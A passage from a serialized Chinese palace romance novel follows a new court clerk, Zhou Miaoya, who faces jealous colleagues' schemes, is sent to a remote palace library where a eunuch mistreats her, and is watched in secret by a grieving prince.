周妙雅静静地听着,待秦婉如说完,她才徐声开口:“秦司典所言极是,下官与秦司典确无私交。” 她语调平稳,字字清朗,续道:“然《宫规·睦谊卷》第三条有载:同僚遇急难,位高者有恤下之责。秦司典位居正七品,下官虽暂居女史,亦属宫中同僚之列。” “今夜下官居所突发意外,被褥尽湿,无处安身,按宫规,自当先求助上官,若上官亦觉为难…” 她话锋到此,顿了顿,目光从秦婉如脸上移开,缓缓扫过躲在廊下的看客们: “…那下官只好抱着这床湿被褥,跪至崔尚宫的值房外,静候天明。” 她轻声补了一句,语气里带着些许无奈与委屈:“届时下官只得如实回禀崔尚宫,道是新来女史不懂规矩,竟惹秦司典动怒,连一席干褥都保不住,实在走投无路,唯有求尚宫开恩,或责罚,或赏个能安寝的地方。” 语音落地,满院子的女官皆屏住了呼吸。 有人悄悄扭头看向秦婉如,有人挑眉互换眼色,有人唇角已经压不住地往上翘,一副看热闹不嫌事大的样子。 秦婉如的脸一阵红一阵白。 周妙雅搬出宫规,字字在理,若真闹到崔尚宫那去,今夜泼水的事可就瞒不住了… 可若是收留了这贱人…她怎么可能让这肮脏的窑姐儿踏进自己房门一步? 进退维谷,骑虎难下。 就在这死寂僵持的当口… “够了。” 声音不高,带着旧年积威,自围观看客中传来。 众人齐回首。 只见司籍司另一位正七品司典田贞兰,不知何时已经站在了廊下。 “都是同司姐妹,何必闹成这样。” 田贞兰走上前来,目光看向秦婉如,又扫过周妙雅怀里那团仍在滴水的被褥: “周女史初来乍到,就遇上此等糟心 事,确实难为。秦司典房中物什繁多,确实也不便再添一人,不如这样,今夜你便到我房里睡,我外间尚有空榻,可容你暂歇一宿。” 话音落地,她便不再理会秦婉如,只向周妙雅微微颔首:“随我来。” 周妙雅抱紧那团湿透的被褥,侧首瞥了秦婉如一眼,只见秦婉如面色铁青,唇线紧紧抿着,终究未再开口。 她收回目光,抬脚跟上了田贞兰。 ————— 文毓瑾前脚刚踏进翰林院大门,就听见里头传来嗡嗡的议论声。 他抬眼瞧去,只见靠窗的一张长案旁,几位翰林学士围作一圈,正热火朝天地讨论着。 “…此文章当真惊才绝艳。” “尤其这一句,坤维正则乾纲固,家国同理,竟出自女子手笔…” “听闻崔尚宫阅卷时读得入了神,连茶凉了都未察觉…” 文毓瑾的脚步停住。 他本欲径直去自己的值房,偏鬼使神差地朝那长案走去,目光掠过人群,精准落在长案那卷摊开的文稿上。 抬头六字颜体,墨痕遒劲:《坤维正则乾纲固》… 下首署名处,三个小楷工工整整: 周、妙、雅。 文毓瑾的呼吸滞了一瞬,半晌,他嘴角微微动了动… 而后,竟挑起了一丝极淡,极冷的弧度。 原来如此啊周妙雅… 他原以为…她是心中存着傲气,宁碎不折,才宁死不肯为他的妾。 他原以为…她是他此生唯一想珍藏,想独占的稀世名画,需得锁在暗室,日日拂拭,不容旁人窥得半分。 如今看来—— 她不过是一件待价而沽的货物。 原来是嫌他文家的庙小,装不下她的野心。 原来是嫌他状元郎正妻之位已许给康氏,给不了她凤冠霞帔、十里红妆的风光。 于是转身攀了宁王府的高枝,如今又嫌宁王府的庙小,又转身攀进深宫… 小小孤女,竟每一步都是机关算尽… 旁边有学士见他在那里站了许久,便招呼道:“文修撰也来看看?此届女官大考的魁首之作,着实不凡。” 文毓瑾没动。 他只远远看着那卷文稿,声音平淡地应了句:“是吗?” 那学士却未发觉异常,犹自感叹道:“这般才情,若生为男子,必是国之栋梁啊…” 文毓瑾却暗自摇了摇头,收回目光,转身往值房走去。 他步履未停,唇角那一抹冷笑始终未收。 宁王殿下。 那位霁月清风,不近女色的宁王殿下。 你可知你捧在掌心的这颗明珠,温顺垂眸时,心里转过多少算计? 你可知她看似柔弱无依,柳若扶风,实则…最是狠心? 你可知这女子无情起来,可是连养育之恩都能弃的… 他文毓瑾好歹供她衣食,教她书画,护她数载,可她一朝抽身,反把文家说得腌臜不堪,视他如仇敌。 而你朱弘毅呢?救她性命,为她请封女官,为她争天下第一才女的盛名,供她吃住多年、为她挡风遮雨… 如今,竟也步了他文毓瑾的后尘,落得个被她弃若敝屣的下场… “周妙雅…” 他推开值房大门,唇角拂过一丝诡异的笑。 “好个水性杨花的女人…” ———— 周妙雅离开宁王府后的第七日。 春海棠早已谢得干净,树旁那架秋千搭了一半,绳子垂在地上,木板搁在一旁,上头落了一层薄灰。 长安,青黛,白芷三人坐在秋千旁的石凳上,俱是低头,百无聊赖,无人开口… 王爷已经数日未归了。 头两日,他们还盼着,觉得王爷许是有事耽搁,直到第三日,长安亲赴姚府探问,回来时脸色沉沉的,才道王爷已在姚老先生府上住下了。 长安率先打破了沉寂:“今早姚府小厮登门来报,说昨夜王爷又喝多了。” 青黛眼圈一红,别过脸去。 白芷攥紧了手指,表态:“不能再这样下去了。” 长安无奈苦笑道:“可王爷亲口吩咐,不许咱们踏进姚府一步…” 白芷咬了咬唇,定下声:“长安哥,王爷不让你踏正门,你便夜闯,姚府你轻车熟路,入夜你翻墙进去,看看王爷究竟如何了,回来给我们一句准话,也好过整日悬着心。” 长安微微颔首,表示同意。 是夜,他换了身夜行衣,趁着夜色翻过了姚府的后墙。 他经常陪朱弘毅来姚府,对府里的格局轻车熟路,落地后他绕过巡夜的家丁,一路摸到后院的书房。 窗棂的薄纸晕出屋内昏黄的灯光。 长安在窗外听了听动静,里头静悄悄的。 他犹豫了片刻,抬手轻轻叩了叩窗棂。 半晌,里头传来一声极低的声音:“谁?” 是王爷的嗓音,却哑的厉害… 长安压低声线:“王爷,我是长安…” 屋内沉默了许久,才道:“进来吧。” 长安这才推门而入。 书房里只点了一盏昏暗的明角灯。 长安放眼望去,地上横七竖八倒着好几个酒壶,屋内酒气浓得呛人。 朱弘毅席地而坐,胡茬青黑,手中还攥着一个酒壶。 半晌,他抬眼,眸底布满血丝,有气无力道:“你来做什么?本王不是说了,一个都不许来。” 长安垂首:“府里众人…都悬着心。” 朱弘毅扯了扯嘴角:“悬什么心?死不了…” 说罢,他又探手去够地上的酒壶,摸到了一个空壶,他晃了晃,见里面晃不出一滴酒,便随手将酒壶抛掷到了一旁。 长安站在那儿,看着王爷这副模样,心中五味杂陈。 良久,他强迫自己开口:“殿下…您这样,不是法子…” 朱弘毅没有接话。 也不知过了多久,他微微直了直半倚的身子,指着自己的心口,苦笑道:“长安,我这里…实在是太痛了…” 半晌,他又补充道:“像是被人用最锋利的刀子剜过一样。” 长安心疼地看着他。 朱弘毅喉结剧烈地滚动着,声线哑得发涩:“王府…我回不去,一回去,到处都是她的影子。廊下,暖阁,藏书楼…连风一吹,都是她挂的那串铃铛在响。” 他闭上眼,眉心紧蹙,似忍受着极致的痛楚: “我受不了…” “即使回去了…也是生不如死。” 书房里霎时死寂一片… 过了许久,朱弘毅像是突然想起了什么,有气无力地吩咐道:“长安,你先回去吧。” 长安放心不下,踟蹰道:“王爷…” 朱弘毅撑着地面缓缓起身,身形晃了晃:“本王欲往西山行宫静养,你且归府略作收拾,明日一早,我们便走…” 第88章 周妙雅对司籍司女史这份差事, 是很满意的。 她自幼在文老太爷身边长大,耳濡目染的都是经史典籍,如今能在宫廷藏书楼里当差, 终日与这些书卷相伴, 倒也让她觅得了一丝内心的清净。 每日清晨她都是第一个到值房, 开窗通风,研墨理纸,将昨日借阅归还的书册一一核对,按经,史,子,集分门别类, 归回原处。 田贞兰冷眼瞧了几日。 她原道是新人装装样子,三两日后必露倦色, 岂料周妙雅竟日日如此。 她见周妙雅整理书卷时那副专注的眉眼, 遇上疑难时便蹙眉细思,那神情,分明不是敷衍, 竟真将这故纸堆当成了宝贝。 田贞兰便暗中留意,想试探她一番。 她故意将几卷杂乱的地方志混入史部 书堆, 次日去看,那几卷地方志已被妥帖归入地理类, 旁边还附了张素笺,以蝇头小楷注明其中一册有缺页, 建议寻善本补抄。 田贞兰心底暗自称赞,于明面上却未言半分。 司籍司库房深处,藏着一套《洪武正训》, 这是大晟开国太/祖训诫后嗣的言行录,宫中存有永乐年间的刻本,另有一份是据初代手抄本摹写的副本,两套书向来分置两处,鲜少有人比对。 周妙雅整理旧档时,刚好发现了这两套书,于是便取来细细读之。 她先取了刻本来看,读到一处,总觉得文气不畅,又去寻了手抄本来对照,这一对,便瞧出了端倪,刻本中缺了整整一页,而手抄本此页内容,与前后文义明显有出入。 自那日起,周妙雅下值便总是比平日要晚上许多,库房深处,明角灯常常亮至深夜。 田贞兰素有夜巡的习惯,初见灯亮时,她只道是新人忘了熄灯,直到第二夜,第三夜…那灯依然亮着。 她悄步走了过去。 库房的门虚掩着,透过门缝,田贞兰看到周妙雅伏于长案,案上摊着两套《洪武正训》,左侧是刻本,右侧是手抄本。 她左手按住刻本的一页,右手执笔,在旁侧稿纸上奋笔疾书。毎写几行,便停笔对照一番,时而蹙着眉尖,时而嘴唇微微翕动,灯影在她脸上跃动,映出一片沉静的专注。 田贞兰在门外站了片刻,没有进去。 七日后,周妙雅捧着一沓厚厚的稿纸,寻至田贞兰处。 她嗓音微哑,双手奉上稿纸,神情熠熠:“田司典,下官校勘《洪武正训》,发现刻本与手抄本共有十七处异文,其中三处系刻本刊误,五处为手抄本摹写失真,另有九处,下官查阅《永乐大典》残卷及洪武朝起居注,疑为后世传抄时人为篡改,这是校勘记,并附一篇《洪武正训版本源流考略》。” 田贞兰接过那沓文稿。 稿纸是司籍司常用的,最普通的竹纸,字迹却极工整。 她细细读了起来,发现此文阅校勘记,条目分明,证据确凿,所有文字出处皆清晰标注。 田贞兰心中不禁感叹,继而继续翻阅《洪武正训版本源流考略》,开篇便直击要害:“《洪武正训》今所见者,非洪武原貌,永乐刻本为定本,然经三审三校,已掺修撰者之笔…” 文中引经据典,从太/祖实录到朝臣笔记,凡二十余种,不仅指出篡改之处,更推测篡改动机,全文三千余言,无一字虚浮。 良久,田贞兰抬眼,惊讶地看向周妙雅。 面前这身材纤细,却脊背笔直的女子,入宫也才月余,司籍司多少资深女官经手过这套《洪武正训》,竟无一人下过这般功夫… 她不禁感叹道:“妙哉,奇文!想不到周女史竟有此才,此文辨证纠谬,堪比王世贞,杨用修在世!” 只见周妙雅垂首,耳尖已附上一层薄红:“田司典谬赞了,下官不过是这些日子整理库房,随手做了些记录罢了。” 次日清晨,田贞兰比平日更早一些到了六尚局公署正堂。 她自然是知道,冯尚仪习惯早起,这个时辰怕是已经在案头整理文书了。 冯尚仪见田贞兰进来,略抬了抬眼:“田司典今日这般早,可有何事?” 田贞兰上前几步,将手中那沓稿纸轻轻置于冯尚仪案前:“尚仪,这是司籍司新进女史周妙雅所撰的一篇考据文章,下官阅后,觉得颇为不凡,不敢擅专,特呈予尚仪过目。” “周妙雅?” 冯尚仪对这个名字印象颇深,本届女官大考的魁首,崔尚宫曾亲口点名重点栽培。 想到这里,她搁下手中湖笔,拾起桌上那沓稿纸,细细读了起来。 约莫一炷香后,冯尚仪才将最后一页稿纸放下。 她起先未语,只是摘去了鼻梁上那副水晶叆叇,指尖轻轻捏了捏眉心,而后目光复落回纸面,半晌,方才开口: “这…真是那周妙雅一人所做?遍校刻本与手抄本,梳理出十七处异文,还能追本溯源,引用《永乐大典》残卷,洪武朝起居注乃至散佚笔记二十余种以作佐证…这考据功夫,岂止是颇为不凡?” 她抬头看向田贞兰,毫不掩饰眼底的惊叹:“条分缕析,引证翔实,非深谙典籍,心思缜密且耐得住寂寞者不能为。尤其是指出后世传抄中可能存在的刻意改笔,这份洞察与胆识…莫说她只是个新入宫的女史,便是放在翰林院,能有此见地与功底的,也绝非等闲。” 田贞兰亦颔首道:“下官初阅时,亦是如此感受,其治学之严谨,搜证之勤勉,实非常人可及。” 冯尚仪沉吟片刻,指尖轻叩稿纸:“这样的文章,不能只在我这里放着,你随我来,去见崔尚宫。” 崔尚宫正在后堂,与两位典记核对近日宫中藏书修缮之事,她抬眼见冯尚仪偕田贞兰同来,步履匆急,便挥手让典记暂时退下。 冯尚仪上前,将稿纸双手呈上:“尚宫,请您看看这个。” 崔尚宫接过稿纸,开始细阅,良久…只见她素来沉稳如山的眉宇间,竟渐渐浮现出一种复杂的情绪,惊讶,欣赏,欣慰交织翻涌。 她读的比冯尚仪更久,间或翻回前页重对,半晌,她终于放下稿纸,抬眸看向田贞兰:“田司典,周妙雅近日在司籍司,表现如何?” 田贞兰如实回禀:“勤勉自律,大胆心细,于典籍整理上极有章法,似是真将那些故纸堆视若珍宝,能沉得下心。” 崔尚宫点了点头,目光重新落回稿纸上:“当初阅她大考之文,便知此女胸有丘壑,见识超卓,如今看来,竟还是低估了她。” 她抬眼看向冯尚仪与田贞兰,感叹道:“这已不是才情二字可以概括,这是真学问,真功夫。遍查异文,考镜源流,非博闻强识,逻辑缜密且心志坚韧者不能为。更难能可贵的是这份不盲从定论,敢于质疑并追索的治学精神。” 她继而又感叹道:“纵是皓首穷经的老翰林,怕也未必能有这般扎实细致的考据功夫,如此看来,她入司籍司,倒是入对了地方。” ———— 自那日在周妙雅面前吃了瘪,又被田贞兰当众解了围之后,秦婉如着实消停了好一阵子。 她每日照旧去司籍司点卯,理事,可总觉得哪哪儿都不对劲。 每当她从值房穿过回廊,或是与三五女官在院中擦肩而过时,总隐隐觉得那些落在自己身上的目光变了味。 女官们看她的眼神不似往日那般带着敬畏,而是掺杂着窥探,玩味,甚至是不易察觉的讥诮。 这些全拜那个窑姐儿周妙雅所赐! 这口气,她绝对咽不下去! 是日午后,她便寻了个托词告假出宫,约安和郡主于城东一家清雅的茶楼见面。 茶楼雅间内茶香袅袅,安和郡主执盏低嗅,听秦婉如压着声音,把这几日的窝火与对周妙雅愈烧愈旺的嫉恨,一股脑儿倒了个干净。 秦婉如语气愤恨,齿间泄出丝丝冷意:“郡主有所不知,那周妙雅如今在司籍司,可是风头正劲,仗着有几分歪才,又得了田贞兰那老女人的青眼,整日埋首故纸堆,装得一副清高勤勉的模样。底下那群没眼界的,竟也跟风吹捧…弄得我每回从她们身边经过,脊梁骨都被戳得生疼。” 安和郡主缓缓抿了口茶,眼皮半抬未抬的:“所以呢?婉如妹妹今日约我来此,就是为了诉苦的?” 秦婉如听到这话,面上突然一滞,有些挂不住脸:“自…自然不是…只是那贱人如今行事谨慎,滴水不漏,我一时寻不到由头,敢问…郡主…可有良策?” 安和郡主这才放下手中茶盏,抬眸看了她一眼,唇角微挑:“良策?上次妹妹不也信誓旦旦,结果呢?罢了,过去的事暂且不提,你既说她如今谨慎,挑不出错,那便给她寻个好差事,让她自己出错,或者,让她去个容易出错的地方。” 秦婉如低头思索了片刻…让她自己出错,或是去个容易出错的地方… 半晌,她忽地眸光一亮,想起了一桩大事:“是了!郡主一语点醒梦中人。听闻圣上为下次西山秋狝能有个舒心的读书处,已下旨修缮西山行宫藏书楼,工匠虽已派去,但楼里那些封存多年,落满灰尘的旧典籍,总需懂行的人去清点,归类。皇后娘娘前日已传话六尚局,欲择司籍司干练女官赴西山协理。” 她接着又说道:“司籍司上下还为这事儿私下议论了许久,西山行宫偏僻,紧挨着皇家猎场,入夜后山风呼啸,听闻早年还有野兽伤人的传闻。修缮藏书楼是个又脏又累的苦差,且一去恐怕不是三两日就能 回得来的,司籍司里但凡有些资历,有些门路的,谁都不愿沾这麻烦,尚仪局的冯尚仪与司籍司的袁司正,正为此事发愁,动员了好几次,应者寥寥。” 安和郡主唇角微挑,笑意冷毒:“那地方,山高路远,人迹罕至,若是派个勤勉肯干,才华出众的新人去历练历练,岂不正合适?既解了上官的燃眉之急,又能让新人崭露头角…至于其间辛苦,甚至是万一遇上些什么意料之外的小麻烦,那便只是历练的一部分,不是吗?” 秦婉如眸光骤亮,先前的郁气已散了大半,她沉吟片刻,脑中飞速盘算着:“司籍司如今无人愿去,袁司正正愁得紧,若我此时向她进言,说周妙雅初来乍到,正需历练,且她整理古籍颇有章法,正堪此任…再体贴地建议,为免她孤单害怕,可再派两名老实胆小的低阶女史同去,做个伴,也显得公允…” 她越想越觉此计妙极,周妙雅不是爱书吗?不是勤勉吗?那便让她与发霉的故纸堆好好亲近一番! 西山那地方,白日荒僻,入夜阴森,早年真有老宦官被野兽拖走,即便平安无事,那苦累脏污,也够她受的。 若真遇上意外,只能怪她运气不好,或是行事不慎了。 安和郡主望着秦婉如眼中重新燃起的光彩,轻笑道:“妹妹既有了主意,那便去办吧,只是行事需稳妥些,莫要让人看出痕迹,袁司正那里,如何说动,就看妹妹的本事了。” 秦婉如深吸一口气,点头道:“郡主放心,下官知道该如何做,这次定要让她吃够苦头,最好…再也回不来这六局二十四司!” 第89章 六尚局公署, 司籍司值房。 袁司正面带愁容地看着手中那份文书,文书上名言西山行宫修缮藏书楼,需司籍司派人协助清点藏书。 可这差事烫手, 谁都不愿接, 偏上头又催得紧… 秦婉如暗中观察, 从门缝中偷觑到袁司正此刻正愁眉不展,她便知时机已到,于是端着一盏新沏好的茶,款步走进了袁司正的值房。 她将茶盏轻轻放在了案边,语气体贴道:“司正还在为西山的事烦心?” 袁司正揉了揉眉心,长叹一声:“可不是么…唉…” 秦婉如看似不经意地扫过那份文书,轻声道:“司正, 下官斗胆倒有一计,不知当讲不当讲。” 袁司正抬手揉额:“但说无妨。” 秦婉如留意着袁司正的神色, 小心翼翼道:“司正, 您看,这差事虽苦,却也是个历练人的好机会。司籍司如今几位资深的姐姐手上都有要紧差事, 抽不开身。倒是那位新来的周女史,下官冷眼瞧着, 她素日最是好学肯干,于古籍整理上也颇有灵气, 不如派她去试试?也算给新人一个表现的机会。” 袁司正有些犹豫:“周妙雅?她毕竟才来不久,西山那地方…” 不等她说完, 秦婉如立马接过话头,言辞恳切:“正因她是新人,才更需这般历练。她那份考据文章, 连冯尚仪和崔尚宫都赞不绝口,可见她能沉下心做学问。清点旧籍,不正需要这份细心与耐心吗?至于西山偏僻,不如再派两名踏实本分的女史与她同去,彼此有个照应,也显得咱们司籍司安排周全,并非苛待新人。” 袁司正听着这话,眉头渐渐舒展开来。 这倒确实是个解决眼下困境的好法子… 周妙雅确有才名,派她去,对上头也算有个交代,再添两人同行,司籍司面子上也过得去。 想到这里,袁司正点了点头:“你说的…也有道理,至于那两名女史…秦司典可有推荐的人选?” 秦婉如心中早已圈定人选:“回司正的话,下官觉得,李女史和王女史性子最是温顺老实,平日里也少言寡语,只管埋头做事,若让她们去,必能安心辅助周女史,不生事端。” 袁司正思忖片刻,终于拍板:“也罢,既如此,便就这么定了,你且去拟个条陈,我批了便下发,让她们三日后便启程。” “是,下官这就去办。”秦婉如恭顺领命,垂首退出值房。 就在转身的一瞬,她眸底霎时掠过一丝阴冷: 呵,周妙雅,你不是能耐么?这次便成全你,让你去那荒山野岭,与虎豹财狼为伴,好好施展施展你的才华。 ———— 朱弘毅独自在西山行宫,已经住了有一段时日了。 来时还是春寒料峭,如今已是春末夏初。 山里的节气比城里要迟很多,草木才刚迸出浓绿,满山遍野的杜鹃开得正盛,一眼望去火红红的一片。 行宫依山而建,殿宇不多,且十室九空。 朱弘毅独居东殿,倚崖而望,推开窗即见群山连绵,幽谷深邃,山涧之风拂面而来,带着丝丝凉意。 此地确实清寂,人迹罕至。 除了随行的长安与行宫原有的几个老太监,再不见旁人。 朱弘毅在这里每日的生活简单到刻板无趣。 清晨起身,有时练剑,有时什么都不做,只站在崖边看日出。 山里日出磅礴,金光刺破云海,能照亮半边天,却独照不进他心里。 午后,他不是伏在书房读书,便是背弓策马入山。 行宫藏书楼虽是半荒废状态,但藏书丰富,经史子集,地理志,兵法,农书应有尽有。 他闲时信手抽来一册,目光掠过纸页,却常停在同一行… 字里行间,全是她。 温香软玉的人儿,曾紧贴在他胸前,臂儿环住他的脖颈,娇娇软软地唤他:“二郎…” 那声音似牢牢缚住他一般,任他翻山越岭,也挣脱不开。 他只得放下手中书册,强迫自己清醒,起身拾起马鞭弓箭,试图用进山狩猎麻痹自己。 他箭术本就极精,如今心如死灰,手法更冷更稳,亦更加射无虚发。 可每当猎物扑倒在草丛中,抽搐咽气时,他也只是垂目静视,面上无悲无喜。 入夜之后,行宫空寂如孤岛。 长夜无边,万籁俱寂,唯有山中猛兽偶尔呜咽,声音回荡在空旷的殿宇间,更添凄凉。 他试图以酒麻痹自己,命人搬来陈坛烈酿,一杯接着一杯,只求一醉忘忧。 可醉里仍逃不开脑海中浓烈的记忆,那日他宿醉之后,她喂他喝醒酒汤,一边帮他擦拭嘴角,一边软声埋怨:“酒量不济就少喝点,酒后伤身,孩童都懂得的道理…” 他便不再喝了,喝酒对他来说毫无用处,即使勉强入梦,梦里的画面只会更残忍:暖阁灯火摇曳,廊下兰草青葱,雨天共撑的油纸伞,回廊里她笑声轻软,水榭下《玉簪记》唱到动情处,她仰首回吻… 一桩桩、一幕幕在梦里全都活了过来,比现实更清晰… 就这样日复一日,晨昏更迭… 直到初夏的某一日,风和日丽,天光尚好。 周妙雅与李女史、王女史,便是在这样的日子里,被一纸文书派到了西山行宫。 李、王二位女史生性谨小慎微,平日里在司籍司便不起眼,素日里只知道埋头干事,话都说的十分少。 而周妙雅虽以才名微露锋芒,却自恃入宫只为周家军翻案,更应敛羽藏锋。如今她根基未稳,在这深宫之中,更是一步都错不得。 她们乘坐一辆不起眼的马车,天未亮便从西华门出发,一路颠簸,接近午时才到西山脚下,而后又徒步了小半个时辰的山路,方才见 着行宫的影子。 三人默不作声,只低着头,跟随那引路的老太监,穿过空寂的庭院,来到那座半荒废的藏书楼前。 楼外已搭起了修缮的脚手架,几个內监工匠正慢吞吞地搬运着木料,见她们走了过来,也只是瞥了一眼,随即便又低头干起了活。 朱弘毅正立在山崖上登高望远,他抬首便见藏书楼外新搭起的脚手架,忽然想起前几日听守在这里的老太监提过,皇兄打算在秋猎之前修缮藏书楼。 他觉得无趣,便想着今日天气如此好,不如策马去山中走走,就在他正欲转身的霎那,忽然瞥见藏书楼前出现了三道穿青绿色女官官服的倩影。 三个渺小的,青绿色的小点… 隔得太远,面容难辨,只是走在最前的那道纤细的身影让他一瞬间恍惚… 那走路的姿态,微微仰起的下颌,打量着藏书楼的侧影轮廓… 那是他刻骨铭心记在脑海中,到死都不会认错的身影。 那身影仿若一支烧红的利箭,毫无征兆地刺穿了他的心脏,瞬间点燃了他所有的思绪。 朱弘毅整个人僵在原地。 山风呼啸掠过耳边,他却仿佛置身于无声的真空之中,什么都听不见。 沸腾的血液瞬间涌上头顶,瞬间又凝结成冰霜,让他全身都僵硬得无法动弹。 周妙雅? 她为何会在这里? 她怎么能在这里? 皇嫂安排的? 不,皇嫂纵要用人,也不会将人送到这荒僻的行宫来… 司籍司的差遣?可这等苦差,怎会落到她头上?她才入宫多久?难道是皇嫂没护住她?司籍司内有人故意刁难她? 无数疑问在他脑海中疯狂涌现,一定是他看走眼了…怎么可能是她? 绝不会是她…… 想到这里,他方欲收回目光起身,却见长安气喘吁吁地奔来。 原来他也远远看见周妙雅,已急向守备太监求证,回报说,是司籍司遣人赴藏书楼协助整理古籍… 汹涌而上的情绪瞬间将朱弘毅再次淹没。 当初是她毅然决然抛弃了宁王府,抛弃了他,是她选择了宫廷,选择了那条她认为正确的路。 如今,难道连宫廷也容不下她了?竟将她发落至此等荒僻之地? 还是…她又有了新的打算? 被抛弃的怒火混杂着尖锐的刺痛,狠狠地灼烧着他的五脏六腑。 可火海之下,藤蔓般疯长的,却是他压也压不住的牵挂。 司籍司让她来这荒郊野岭清点藏书,这脏累又危险的活,她该如何应付? 那两个跟在她身后的女史,看样子也非得力之人。 西山入夜后有猛兽出没,藏书楼年久失修…她能应对得来吗? 离开他的这段日子,她过得好不好?有没有受苦?有没有…哪怕一丝一毫,想起过他? 这些念头不受控制地在脑海中啃噬着他,比呼啸而过的山风更冷… 朱弘毅死死盯着藏书楼前的那个身影。 看着她从容地指挥着另外两个女史,看着她蒙上面帕戴上手套,看着她毫不犹豫地走进藏书楼… 他的手指无意识地攥紧了山崖岩石的边缘,指尖因力而尽失血色。 良久,他才缓缓松开了手。 方才面上翻涌的所有激烈的情绪,正一寸寸地下沉,沉进眸底深处,凝成深不见底的寒潭。 他没有动。 没有冲下去质问,也没有现身阻拦。 他就那样静静地站在那里,盯着藏书楼看… 他想看看,离开了他的庇护,她到底能把自己的人生活成什么模样。 她执意选择的这条路,是否真如她所想的那般值得。 他也想看看自己这被她亲手剜出,随意丢弃在这荒山野岭的心,究竟还能痛到什么地步? 周、妙、雅… 第90章 西山行宫守备太监总管霍隗, 年约五旬,枯瘦如柴,眼皮耷拉着, 面上一副似笑非笑的神情:“三位女史, 行宫简陋, 比不得宫里,住处饭食都将就些,还请三位多担待。” 话虽说得客气,可行事却全然不是那么回事。 他领着周妙雅三人绕过正经宫殿,来到一处荒草丛生的废园,废园里有几间破旧的矮屋,瓦片残破, 窗纸糊的七零八落的,门轴一推便发出刺耳的吱呀声。 屋里除了一张通铺, 一张瘸腿桌并两条长凳, 此外四壁萧然,再无它物。墙角蛛网暗结,地砖潮浸, 空气中散发着一股刺鼻的霉味。 周妙雅微微蹙了蹙眉,还未等她开口, 一向谨小慎微的李女史却沉不住气了:“霍公公,这地方也太破了, 我们好歹也是宫里来的女史,怎么能住在这里?” 霍隗眼皮一抬, 冷哼了一声:“宫里来的又如何?这里是行宫,可不是你们撒娇的地方,能有个落脚处就不错了, 还想住金屋银瓦?” 王女史也忍不住道:“霍公公,这地方确实不适合我们居住,能不能行个方便,给我们换个地方?” 霍隗冷着脸道:“行宫就这么大,没别的地方了,你们要是不想住,就回宫里去,我也不拦着,不过,这差事你们也别想了,另有人等着接手呢。” 李女史和王女史见他这般态度,面面相觑,一时不知如何是好。 周妙雅见状,微微一笑,只见她上前一步,从怀里掏出些许碎银,放到霍隗手中,恭谨道:“霍公公,我们是来办事的,不是来挑地方的,若您能帮我们腾出其他住处,那自是再好不过,若实在没有其他居所,这地方虽然简陋些,却也足够我们休息了,我们会尽快把事情办好,不会给您添麻烦的。” 霍隗瞥了她一眼,掂了掂碎银,将碎银揣在袖中,啐了一句:“哼,算你们识相。” 说罢,他白了李、王二位女史一眼,转身便走了。 周妙雅看着他离去的背影,微微一笑,无奈对李女史和王女史说道:“两位姐姐,咱们进去看看吧,收拾收拾,也能凑合住人。” 李女史和王女史对视一眼,重重叹了口气,只能听天由命。 到了饭点,霍隗派手下太监过来传话:“饭食在行宫东角门边的灶房领,每日巳时,申时各一次,过时不候。” 待到她们三人匆匆赶到东角门时,才真真体会到了什么叫做过时不候。 灶房的管事太监是个满脸横肉的,见她们三个瘦弱的小娘子过来,便没好气儿地从大锅中舀出三碗浑沌莫辨的糊羹,又掰了半块硬的能硌掉牙的杂面饼,往破木盘上一扔,态度蛮横:“就这些,爱吃不吃。” 那糊羹闻着有股馊味,饼子也不知放了多久,掰开里头还夹着霉点。 李女史看着碗里的吃食,眼圈都红了,王女史则抖着手,怎么也喝不下去那卖相不怎么好的糊羹。 她们都是正经人家的闺秀,靠真才实学考进六局二十四司的,从小到大哪里受得过这等委屈? 周妙雅却果断端起了碗,她走到灶房外头的石阶上坐了下来,用小勺一点点撇去糊羹上的浮沫,只取底下稍微浓稠的部分,就着掰碎的饼子,一口一口往下咽。 好不容易果了腹,次日清晨天还未亮,霍隗便来拍门,他叫两个粗使宫女将睡眼惺忪的周妙雅拽了起来,吩咐道:“周女史,藏书楼东侧库房积了三十年的旧籍,今儿起归你清点,三日之内,需造册完毕,若有延误,咱家可不好向上头交代。” 周妙雅只得起身,胡乱洗漱了一下,便跟着那两个粗使宫女去了藏书楼库房。 那库房终年不见天日,门一开,霉尘扑面而来,呛得人喉头发紧。 库房里面书卷堆积如山,文牍残破不堪,经虫蛀鼠啮,大多已粘结成块,指尖稍微一碰,便碎作簌簌的纸屑。 周妙雅蒙上面帕,挽起袖子,硬着头皮走了进去。 库房无窗,惟一盏明角灯昏昏亮着。 她将堆积如山的旧籍一摞摞搬下,拂去积尘,逐册检视,辨识字迹,分门别类。 许多书页脆如薄冰,需用竹镊小心揭开,遇上粘连的,得用温水蒸气慢慢熏软,再用薄竹片一点点分离。 活计精细又磨人。 霍隗掐准了时间,每隔一个时辰便来巡查一次,见她进展稍慢,便阴恻恻提醒:“周女史,三日之限可是不等人的。” 周妙雅默不作声,只将手中动作再催快几分。 灰尘呛入喉鼻,指尖被纸锋割破,因长时间躬身,致使腰背酸胀难忍,她额上渗出细汗,面帕早已湿透,却连摘下喘口气的工夫都没有。 及至饭点 ,霍隗特意交代灶房:“周女史公务繁忙,不必等她,饭食照旧搁在灶上便是。” 那所谓的饭食,不过是一碗稀得不能再稀的米汤,配着半块冷硬的粗饼,等周妙雅终于得空去领,米汤早已凉透。 她只得端着碗站在灶房外的冷风里,一口口喝完,再将饼子揣进怀里,转身又回了库房。 就在她埋首干活之际,门外忽然传来霍隗与值守太监的说笑声,夹杂着“不知天高地厚”“给她点教训”等字眼… 周妙雅的心瞬间冷得如同冰窖一般。 藏书楼东侧的廊檐下,朱弘毅负手立于廊柱后的阴影中。 这个位置选得刁钻,能将库房内的动静尽收眼底,又不会被里头的人察觉。 他已在这里站了快两个时辰,看着周妙雅在那盏昏黄的明角灯下,一遍又一遍地重复着枯燥无味的工作。 她搬书的时候很吃力,那些陈年旧籍,一摞抱起来比她胸口还要高,她得先踮脚去够最上层的,一本本抽出来抱在怀里,再蹲身放到地上,有好几次书摞得不稳,哗啦一声全塌了下来,重重砸在了她的脚背上。 她疼的眉头紧蹙,闷哼了一声,却仍是倔强地蹲下身,将掉在地上的书一本本拾起,又重新码好。 灰尘扬起来,扑的她满身都是,青绿色的官服下,裙摆脏得早已辨不出本色,袖口、衣襟上全是污痕。 她抬腕拭汗,手指无意间抹过颊边,留下了一道灰印,自己却浑然未觉。 霍隗来巡查时,朱弘毅便往阴影深处退了半步。 只听见那老太监尖细的嗓音从门侧传来:“周女史,这进度可不行啊,咱家丑话说在前头,三日就是三日,多一个时辰都没有。” 